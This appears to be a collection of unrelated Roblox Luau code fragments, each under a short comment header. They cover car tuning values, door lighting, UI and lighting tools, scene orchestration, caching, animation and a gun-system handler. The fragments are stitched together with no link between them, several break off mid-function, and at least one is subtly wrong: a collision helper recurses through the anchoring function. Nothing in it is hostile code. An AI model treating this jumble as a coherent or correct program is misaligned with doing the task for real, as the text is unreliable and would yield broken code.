-- do local ReferenceTypes = { Character = {}, CharacterPart = {} } local References = {} local Objects = {} for i,v in pairs(ReferenceTypes) do References[i] = {} Objects[i] = {} end function Network:AddReference(key, refType, ...) local refInfo = ReferenceTypes[refType] assert(refInfo, "Invalid Reference Type") local refData = { Type = refType, Reference = key, Objects = {...}, Aliases = {} } References[refType][refData.Reference] = refData local last = Objects[refType] for _,obj in ipairs(refData.Objects) do local list = last[obj] or {} last[obj] = list last = list end last.__Data = refData end function Network:AddReferenceAlias(key, refType, ...) local refInfo = ReferenceTypes[refType] assert(refInfo, "Invalid Reference Type") local refData = References[refType][key] if not refData then warn("Tried to add an alias to a non-existing reference") return end local objects = {...} refData.Aliases[#refData.Aliases + 1] = objects local last = Objects[refType] for _,obj in ipairs(objects) do local list = last[obj] or {} last[obj] = list last = list end last.__Data = refData end function Network:RemoveReference(key, refType) local refInfo = ReferenceTypes[refType] assert(refInfo, "Invalid Reference Type") local refData = References[refType][key] if not refData then warn("Tried to remove a non-existing reference") return end References[refType][refData.Reference] = nil local function rem(parent, objects, index) if index <= #objects then local key = objects[index] local child = parent[key] rem(child, objects, index + 1) if next(child) == nil then parent[key] = nil end elseif parent.__Data == refData then parent.__Data = nil end end local objects = Objects[refData.Type] rem(objects, refData.Objects, 1) for i,alias in ipairs(refData.Aliases) do rem(objects, alias, 1) end end function Network:GetObject(ref, refType) assert(ReferenceTypes[refType], "Invalid Reference Type") local refData = References[refType][ref] if not refData then return nil end return unpack(refData.Objects) end function Network:GetReference(...) local objects = {...} local refType = table.remove(objects) assert(ReferenceTypes[refType], "Invalid Reference Type") local last = Objects[refType] for i,v in ipairs(objects) do last = last[v] if not last then break end end local refData = last and last.__Data return refData and refData.Reference or nil end end
-- KEY IS DOWN --
UIS.InputBegan:Connect(function(Input, isTyping) if isTyping then return end if Input.KeyCode == Enum.KeyCode.R then if Equipped.Value and Holding.Value == "None" and not Using.Value then SkillsHandler:FireServer("Hold", "R") end end end)
-- ROBLOX deviation: omitting imports for file system interaction
local CurrentModule = script local Packages = CurrentModule.Parent
-- Explicit dependencies are dependencies that are are explicitly listed. -- These dependencies are available to this package and ANY dependent packages below
function PackageInfoUtils.fillExplicitPackageDependencySet(explicitDependencySet, packageFolder, packageInfoMap) assert(type(explicitDependencySet) == "table", "Bad explicitDependencySet") assert(typeof(packageFolder) == "Instance", "Bad packageFolder") assert(type(packageInfoMap) == "table", "Bad packageInfoMap") for _, item in pairs(packageFolder:GetChildren()) do if item:IsA("Folder") and item.Name == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then for _, packageInfo in pairs(PackageInfoUtils.getPackageInfoListFromDependencyFolder(item, packageInfoMap)) do explicitDependencySet[packageInfo] = true end end end end return PackageInfoUtils
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function LightingTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); EnableSurfaceClickSelection(); end; function LightingTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if LightingTool.UI then -- Reveal the UI LightingTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI LightingTool.UI = Core.Tool.Interfaces.BTLightingToolGUI:Clone(); LightingTool.UI.Parent = Core.UI; LightingTool.UI.Visible = true; -- Enable each light type UI EnableLightSettingsUI(LightingTool.UI.PointLight); EnableLightSettingsUI(LightingTool.UI.SpotLight); EnableLightSettingsUI(LightingTool.UI.SurfaceLight); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function EnableSurfaceClickSelection(LightType) -- Allows for the setting of the face for the given light type by clicking -- Clear out any existing connection if Connections.SurfaceClickSelection then Connections.SurfaceClickSelection:Disconnect(); Connections.SurfaceClickSelection = nil; end; -- Add the new click connection Connections.SurfaceClickSelection = Core.Mouse.Button1Down:Connect(function () local _, ScopeTarget = Core.Targeting:UpdateTarget() if Selection.IsSelected(ScopeTarget) then SetSurface(LightType, Core.Mouse.TargetSurface) end end) end; function EnableLightSettingsUI(LightSettingsUI) -- Sets up the UI for the given light type settings UI -- Get the type of light this settings UI is for local LightType = LightSettingsUI.Name; -- Option input references local Options = LightSettingsUI.Options; local RangeInput = Options.RangeOption.Input.TextBox; local BrightnessInput = Options.BrightnessOption.Input.TextBox; local ColorPicker = Options.ColorOption.HSVPicker; local ShadowsCheckbox = Options.ShadowsOption.Checkbox; -- Add/remove/show button references local AddButton = LightSettingsUI.AddButton; local RemoveButton = LightSettingsUI.RemoveButton; local ShowButton = LightSettingsUI.ArrowButton; -- Enable range input RangeInput.FocusLost:Connect(function () SetRange(LightType, tonumber(RangeInput.Text)); end); -- Enable brightness input BrightnessInput.FocusLost:Connect(function () SetBrightness(LightType, tonumber(BrightnessInput.Text)); end); -- Enable color input ColorPicker.MouseButton1Click:Connect(function () Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start( Support.IdentifyCommonProperty(GetLights(LightType), 'Color') or Color3.new(1, 1, 1), function (Color) SetColor(LightType, Color) end, Core.Targeting.CancelSelecting ); end); -- Enable shadows input ShadowsCheckbox.MouseButton1Click:Connect(function () ToggleShadows(LightType); end); -- Enable light addition button AddButton.MouseButton1Click:Connect(function () AddLights(LightType); end); -- Enable light removal button RemoveButton.MouseButton1Click:Connect(function () RemoveLights(LightType); end); -- Enable light options UI show button ShowButton.MouseButton1Click:Connect(function () OpenLightOptions(LightType); end); -- Enable light type-specific features if LightType == 'SpotLight' or LightType == 'SurfaceLight' then -- Create a surface selection dropdown Surfaces = { 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' }; local SurfaceDropdown = Core.Cheer(Options.SideOption.Dropdown).Start(Surfaces, '', function (Surface) SetSurface(LightType, Enum.NormalId[Surface]); end); -- Enable angle input local AngleInput = Options.AngleOption.Input.TextBox; AngleInput.FocusLost:Connect(function () SetAngle(LightType, tonumber(AngleInput.Text)); end); end; end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not LightingTool.UI then return; end; -- Hide the UI LightingTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function GetLights(LightType) -- Returns all the lights of the given type in the selection local Lights = {}; -- Get any lights from any selected parts for _, Part in pairs(Selection.Parts) do table.insert(Lights, Support.GetChildOfClass(Part, LightType)); end; -- Return the lights return Lights; end;
-- Private Functions --
function getMotorVelocity( motor ) return motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity ) end
--------LEFT DOOR --------
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
-- How to install -- Put the "[FE+] Pedals" script into the Plugins folder -- Move the "BP","CP" and "GP" groups to fit the interior, and put them in the Misc group -- Copy and paste the following into MiscWeld under initialize.
MakeWeld(misc.BP.SS,car.DriveSeat,"Motor",.1) ModelWeld(misc.BP.Parts,misc.BP.SS) MakeWeld(misc.GP.SS,car.DriveSeat,"Motor",.1) ModelWeld(misc.GP.Parts,misc.GP.SS) MakeWeld(misc.CP.SS,car.DriveSeat,"Motor",.1) ModelWeld(misc.CP.Parts,misc.CP.SS)
--[[ Player state. No logic, as server dictates entry and exit in this state. ]]
local PlayerSpectating = {}
--[[Weight and CG]]
Tune.Weight = 2200 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 8 , --[[Height]] 4.5 , --[[Length]] 16 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- note: maybe use playfab to capture errors
ClientOrchestration.registerClientComponents = function(config) if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn("Attempted to orchestrate an older scene on the client: " .. config.name) return end if config.orchestrationTime == ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn( "Attempted to orchestrate a scene with same tick time. Double check that you're not loading a scene 2x" ) ClientOrchestration._warn(config.name) return end if config.schema.Client == nil then ClientOrchestration._warn( "No schema Client file provided on the client for scene: " .. config.name .. ". Is this intended?" ) return end ClientOrchestration.isSeekable = false ClientOrchestration.lastCalledOrchestrationTime = config.orchestrationTime ClientOrchestration.cleanUp() local schema = ClientOrchestration._require(config.schema.Client) local SchemaProcessor = ClientOrchestration._require(config.schemaProcessor) ClientOrchestration.SchemaProcessorInstance = SchemaProcessor.new(schema, config.timePosition) -- Run setup before processing local setupSuccess = ClientOrchestration.setupSchema() if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn("No longer processing outdated scene: " .. config.name) return end if setupSuccess then ClientOrchestration.processSchema() end if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn("No longer processing outdated scene: " .. config.name) return end local name = config.name or "Default" -- If the player has seek permissions, then update the seek UI ClientOrchestration.ClientSceneMetadataEvent:Fire( "Pass", name, ClientOrchestration.SchemaProcessorInstance.timePosition, config.timeLength ) if ClientOrchestration.ClientSceneMetadataRequestConnection then ClientOrchestration.ClientSceneMetadataRequestConnection:Disconnect() end ClientOrchestration.ClientSceneMetadataRequestConnection = ClientOrchestration.ClientSceneMetadataEvent.Event:Connect( function(Type) if Type == "Request" then ClientOrchestration.ClientSceneMetadataEvent:Fire( "Pass", name, ClientOrchestration.SchemaProcessorInstance.timePosition, config.timeLength ) end end ) end ClientOrchestration.seek = function(timeToPlay) local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime while not ClientOrchestration.isSeekable do local wasNewSceneCalled = lastCalledOrchestrationTime ~= ClientOrchestration.lastCalledOrchestrationTime if wasNewSceneCalled then ClientOrchestration._warn("New scene orchestrating, cancelling seek") return end ClientOrchestration.taskLib.wait() end if ClientOrchestration.SchemaProcessorInstance == nil then ClientOrchestration._warn("Schema Processor Instance hasn't been created on client") return end ClientOrchestration.cleanUp() -- This is in Process fires faster than setTime has replicated for the client ClientOrchestration.SchemaProcessorInstance.timePosition.Value = timeToPlay ClientOrchestration.processSchema() end local hasBeenCalled = false return function(stubs) if hasBeenCalled then error("Client Orchestration has already been called") return end -- Used for testing only if stubs then for i, v in pairs(stubs) do ClientOrchestration[i] = v end end ClientOrchestration.SendMediaControllerConfig.OnClientEvent:Connect(ClientOrchestration.registerClientComponents) ClientOrchestration.SeekPermissionsEvent.OnClientEvent:Connect(ClientOrchestration.handleSeekPermissionsEvent) ClientOrchestration.Seek.OnClientEvent:Connect(ClientOrchestration.seek) ClientOrchestration.SceneEnded.OnClientEvent:Connect(ClientOrchestration.handleSceneEnded) hasBeenCalled = true return ClientOrchestration end
--Change the value \/
local flinginess = 50 --CHANGE THIS VALUE TO AFFECT FLING local flng = flinginess local negflng = flinginess * -1
--[[ Create a promise that represents the immediately rejected value. ]]
function Promise.reject(...) local length, values = pack(...) return Promise._new(debug.traceback(nil, 2), function(_, reject) reject(unpack(values, 1, length)) end) end Promise.Reject = Promise.reject
--// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load
local LoadingOrder = { --// Nearly all modules rely on these to function "Logs"; "Variables"; "Functions"; a --// Core functionality "Core"; "Remote"; "Process"; --// Misc "Admin"; "HTTP"; "Anti"; "Commands"; }
--[=[ This function returns a table with the values of the passed dictionary. ```lua local Dictionary = { A = 1, B = 2, C = 3, } print(TableKit.Values(Dictionary)) -- prints {1, 2, 3} ``` @within TableKit @param dictionary table @return table ]=]
function TableKit.Values<T>(dictionary: { [unknown]: T }): { T } local valueArray = {} for _, value in dictionary do table.insert(valueArray, value) end return valueArray end
--local eat = Humanoid:LoadAnimation(AnimF.open) --local Idle = Humanoid:LoadAnimation(AnimF.idle)
local Debounce = false tool.Equipped:Connect(function()
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local throt=0 local redline=0 script:WaitForChild("Rev") for _,v in ipairs(car.DriveSeat:GetChildren()) do for _,a in ipairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") game:GetService("RunService").Heartbeat:Connect(function() -- to-do: linear interpolate on all clients at 10/s to avoid bogging down network local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) else throt = math.min(1,throt+.1) end if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume) else car.DriveSeat.Rev.Pitch = Pitch end end)
-- VisualComponents by Travis, modified for native visuals.
local module = {} module.panels = {} local MapConstant = 40000 local VideoControl = require(script.VideoControl.Value) local function mapScreen(center,screen) local dif = Instance.new("Attachment",center) dif.WorldPosition = screen.Position for i,v in pairs(screen.VisualScreen.Main:GetChildren()) do if v:IsA("ImageLabel") then v.Position = UDim2.new(0.5, dif.Position.X * MapConstant, 0.5, (dif.Position.Y - dif.Position.Z) * MapConstant ) end end for i,v in pairs(screen.VisualScreen.SpriteVisual:GetChildren()) do if v:IsA("ImageLabel") then v.Position = UDim2.new(0.5, dif.Position.X * MapConstant, 0.5, (dif.Position.Y - dif.Position.Z) * MapConstant ) end end screen.VisualScreen.CanvasSize = Vector2.new((screen.Size.X*MapConstant),(screen.Size.Y*MapConstant)) dif:Destroy() end function module.Start(screensFolder) local center = screensFolder.CenterPart if screensFolder:FindFirstChild("Panels") then for i,v in pairs(screensFolder.Panels:GetChildren()) do local cloneFrame = script.Main:Clone() local cloneFrame1 = script.SpriteVisual:Clone() cloneFrame.Parent = v.VisualScreen cloneFrame1.Parent = v.VisualScreen mapScreen(center,v) table.insert(module.panels,v) v.Debug:Destroy() end end VideoControl.SpriteStart() end return module
--------| Variables |--------
local cashLabel = _L.GUI.Bottom.MainBottomBar.CenterContainer.Cash.Title
--!strict
return function(value) return typeof(value) == "number" and value == value and value ~= math.huge and value ~= -math.huge end
--[=[ Utility to build a localization table from json, intended to be used with rojo. Can also handle Rojo json objects turned into tables! @class JsonToLocalizationTable ]=]
local LocalizationService = game:GetService("LocalizationService") local HttpService = game:GetService("HttpService") local RunService = game:GetService("RunService") local JsonToLocalizationTable = {} local LOCALIZATION_TABLE_NAME = "GeneratedJSONTable"
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function setModelAnchored(parent, anchored) for _, child in ipairs(parent:GetChildren()) do if (child:IsA("BasePart")) or (child:IsA("MeshPart")) then child.Anchored = anchored end setModelAnchored(child, anchored) end end -- setModelAnchored() local function setModelCanCollide(parent, canCollide) for _, child in ipairs(parent:GetChildren()) do if (child:IsA("BasePart")) or (child:IsA("MeshPart")) then child.CanCollide = canCollide end setModelAnchored(child, canCollide) end end -- setModelCanCollide() local function setModelTransparency(parent, transparency) for _, child in ipairs(parent:GetChildren()) do if (child:IsA("BasePart")) or (child:IsA("MeshPart")) then child.Transparency = transparency end setModelTransparency(child, transparency) end end -- setModelTransparency() local function removeLimbsAndThings(character) for _, child in ipairs(character:GetChildren()) do removeLimbsAndThings(child) if (not child:IsA("Humanoid")) and (not child:IsA("Motor6D")) and (child.Name ~= "Head") and (child.Name ~= "UpperTorso") then child:Destroy() end end end -- removeLimbsAndThings() local function insertModelIntoCharacter(character, model) for _, child in ipairs(model:GetChildren()) do child.Parent = character insertModelIntoCharacter(child, child) end end -- insertModelIntoCharacter() local function setCollisionGroup(parent, group) for _,part in pairs(parent:GetChildren()) do if (part:IsA("BasePart") or (part:IsA("MeshPart"))) then PhysicsService:SetPartCollisionGroup(part, group) end end end -- SetCollisionGroup()
--[[Engine]]
--Torque Curve Tune.Horsepower = 75 Tune.IdleRPM = 500 Tune.PeakRPM = 5600 Tune.Redline = 6300 Tune.EqPoint = 6300 Tune.PeakSharpness = 2.2 Tune.CurveMult = 0.01 --Incline Compensation Tune.InclineComp = 1.35 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 0 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response)
-- Function to handle the button click
local function onClick() -- Destroy the parent GUI (the ScreenGui containing the TextButton) button.Parent:Destroy() end button.MouseButton1Click:Connect(onClick)
--[[ Local Variables ]]
-- local MasterControl = {} local Players = game:GetService('Players') local RunService = game:GetService('RunService') while not Players.LocalPlayer do wait() end local LocalPlayer = Players.LocalPlayer local CachedHumanoid = nil local RenderSteppedCon = nil local SeatedCn = nil local moveFunc = LocalPlayer.Move local isJumping = false local isSeated = false local myVehicleSeat = nil local moveValue = Vector3.new(0,0,0)
--if SignalValues.Signal1.Value == 2 then
SignalValues.Signal1.Value = 3
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:Disconnect() end if (oldAnimTrack ~= nil) then oldAnimTrack:Stop() oldAnimTrack:Destroy() oldAnimTrack = nil end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then
-- Display result window for active players
function PlayerManager:DisplayRoundResult(resultString, resultTime) for _, player in ipairs(PlayerManager.ActivePlayers) do DisplayRoundResult:FireClient(player, resultString, resultTime) end end
-- UI Profile
local usernameprofile = gui.Parent.Parent.User.Username local displaynameprofile = gui.Parent.Parent.User.DisplayName local pfpprofile = gui.Parent.Parent.User.ProfilePicture local shutterpfp = script.Parent.Parent.Parent.ShutterFrame.ProfilePicture local Players = game:GetService("Players") local player = Players.LocalPlayer
-- [ FUNCTIONS ] --
repeat wait() until cam.CameraSubject ~= nil cam.CameraType = Enum.CameraType.Scriptable
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
module.BubbleChatEnabled = true module.ClassicChatEnabled = true
-- Instances have a "Name" field. Sort -- by that name,
function CommonUtil.SortByName(items) local function compareInstanceNames(i1, i2) return (i1.Name < i2.Name) end table.sort(items, compareInstanceNames) return items end
--//ENGINE//--
Horsepower = 430 --{This is how much power your engine block makes ALONE, this does not represent to total horsepower output [IF you have a turbo/SC]} EngineDisplacement = 3000 --{Engine size in CC's} EngineType = "Diesel" --{Petrol, Diesel, Electric] EngineLocation = "Front" --{Front, Mid, Rear} ForcedInduction = "Single" --{Natural, Single, Twin, Supercharger} InductionPartSize = 1.5 --{0-5, 1 being small, 5 being large (Decimals accepted, e.g 2.64 turbo size, this is the size of the turbo} ElectronicallyLimited = false --{Electronically Limit the top speed of your vehicle} LimitSpeedValue = 100 --{Limits top speed of the vehicle [In MPH]}
-- Returns the current active view model -- @return Model
function FirstPersonRigAssembly.GetActiveRig() return activeRig end
--[[ Returns the current value of this ForPairs object. The object will be registered as a dependency unless `asDependency` is false. ]]
function class:get(asDependency: boolean?): any if asDependency ~= false then Dependencies.useDependency(self) end return self._outputTable end
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(133) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(21) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(106)
--Function of the repair button
repair.MouseButton1Down:connect(function() if repairtwo == true then repairtwo = false local ff = Instance.new ("ForceField") ff.Parent = sp sp.Temporary:ClearAllChildren() menudisappear() disappearall() click.MaxActivationDistance = 10 coverup() wait(1) ready = true ff:Destroy() for _,force in pairs(sp:GetChildren()) do if force:IsA("ForceField") then force:Destroy() end end script.Fixer.Disabled = true wait(5) repairtwo = true end end)
--Main
local CacheManager: any = {} CacheManager.__index = CacheManager function CacheManager.new() local self = setmetatable({}, CacheManager) self.Cache = {} self.CacheLimit = math.huge self.Locked = false self.CacheParent = workspace return self end function CacheManager:SetCacheLimit(limit: number) self.CacheLimit = math.max(limit, 1) for _, cacheEntry: {[string]: any} in pairs(self.Cache) do local cacheToPurge: number = math.max(0, self.CacheLimit - #cacheEntry.Cache) if cacheToPurge > 0 then for _ = 1, cacheToPurge do cacheEntry.Cache[#cacheEntry.Cache]:Destroy() cacheEntry.Cache[#cacheEntry.Cache] = nil end end end end function CacheManager:Return(id: string, obj: Instance) if self.Locked then obj:Destroy() return end if self.Cache[id] then if #self.Cache[id].Cache < self.CacheLimit then if obj:IsA("BasePart") then obj.Anchored = true elseif obj:IsA("Model") and obj.PrimaryPart then obj.PrimaryPart.Anchored = true end --? Maybe i should use bulkmoveto instead of this if obj:IsA("PVInstance") then obj:PivotTo(farawayCFrame) end table.insert(self.Cache[id].Cache, obj) else obj:Destroy() end end end function CacheManager:Take(id: string) if self.Locked then return end if self.Cache[id] then local storedNum: number = #self.Cache[id].Cache if storedNum == 0 then local obj: Instance = self.Cache[id].Original:Clone() obj.Parent = self.CacheParent return obj else local obj: Instance = self.Cache[id].Cache[storedNum] self.Cache[id].Cache[storedNum] = nil if obj:IsA("BasePart") then obj.Anchored = false elseif obj:IsA("Model") and obj.PrimaryPart then obj.PrimaryPart.Anchored = false end return obj end end end function CacheManager:Register(id: string, obj: Instance) if self.Locked then obj:Destroy() return end if not self.Cache[id] then self.Cache[id] = { Cache = {}, Original = obj } end end function CacheManager:Destroy(): () self.Locked = true local _, cacheEntry: {[string]: Instance | {Instance}} = next(self.Cache) repeat cacheEntry.Original:Destroy() repeat cacheEntry.Cache[#cacheEntry.Cache]:Destroy() cacheEntry.Cache[#cacheEntry.Cache] = nil until #cacheEntry.Cache == 0 _, cacheEntry = next(self.Cache) until cacheEntry == nil self.Cache = nil self = nil end return CacheManager
----------//Gun System\\----------
local L_199_ = nil char.ChildAdded:connect(function(Tool) if Tool:IsA('Tool') and Humanoid.Health > 0 and not ToolEquip and Tool:FindFirstChild("ACS_Settings") ~= nil and (require(Tool.ACS_Settings).Type == 'Gun' or require(Tool.ACS_Settings).Type == 'Melee' or require(Tool.ACS_Settings).Type == 'Grenade') then local L_370_ = true if char:WaitForChild('Humanoid').Sit and char.Humanoid.SeatPart:IsA("VehicleSeat") or char:WaitForChild('Humanoid').Sit and char.Humanoid.SeatPart:IsA("VehicleSeat") then L_370_ = false; end if L_370_ then L_199_ = Tool if not ToolEquip then --pcall(function() setup(Tool) --end) elseif ToolEquip then pcall(function() unset() setup(Tool) end) end; end; end end) char.ChildRemoved:connect(function(Tool) if Tool == WeaponTool then if ToolEquip then unset() end end end) Humanoid.Running:Connect(function(speed) charspeed = speed if speed > 0.1 then running = true else running = false end end) Humanoid.Swimming:Connect(function(speed) if Swimming then charspeed = speed if speed > 0.1 then running = true else running = false end end end) Humanoid.Died:Connect(function(speed) TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play() ChangeStance = false Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() Equipped = 0 unset() Evt.NVG:Fire(false) end) Humanoid.Seated:Connect(function(IsSeated, Seat) if IsSeated and Seat and (Seat:IsA("VehicleSeat")) then unset() Humanoid:UnequipTools() CanLean = false plr.CameraMaxZoomDistance = gameRules.VehicleMaxZoom else plr.CameraMaxZoomDistance = game.StarterPlayer.CameraMaxZoomDistance end if IsSeated then Sentado = true Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Stand() Lean() else Sentado = false CanLean = true end end) Humanoid.Changed:connect(function(Property) if gameRules.AntiBunnyHop then if Property == "Jump" and Humanoid.Sit == true and Humanoid.SeatPart ~= nil then Humanoid.Sit = false elseif Property == "Jump" and Humanoid.Sit == false then if JumpDelay then Humanoid.Jump = false return false end JumpDelay = true delay(0, function() wait(gameRules.JumpCoolDown) JumpDelay = false end) end end end) Humanoid.StateChanged:connect(function(Old,state) if state == Enum.HumanoidStateType.Swimming then Swimming = true Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Stand() Lean() else Swimming = false end if gameRules.EnableFallDamage then if state == Enum.HumanoidStateType.Freefall and not falling then falling = true local curVel = 0 local peak = 0 while falling do curVel = HumanoidRootPart.Velocity.magnitude peak = peak + 1 Thread:Wait() end local damage = (curVel - (gameRules.MaxVelocity)) * gameRules.DamageMult if damage > 5 and peak > 20 then local SKP_02 = SKP_01.."-"..plr.UserId cameraspring:accelerate(Vector3.new(-damage/20, 0, math.random(-damage, damage)/5)) SwaySpring:accelerate(Vector3.new( math.random(-damage, damage)/5, damage/5,0)) local hurtSound = PastaFx.FallDamage:Clone() hurtSound.Parent = plr.PlayerGui hurtSound.Volume = damage/Humanoid.MaxHealth hurtSound:Play() Debris:AddItem(hurtSound,hurtSound.TimeLength) Evt.Damage:InvokeServer(nil, nil, nil, nil, nil, nil, true, damage, SKP_02) 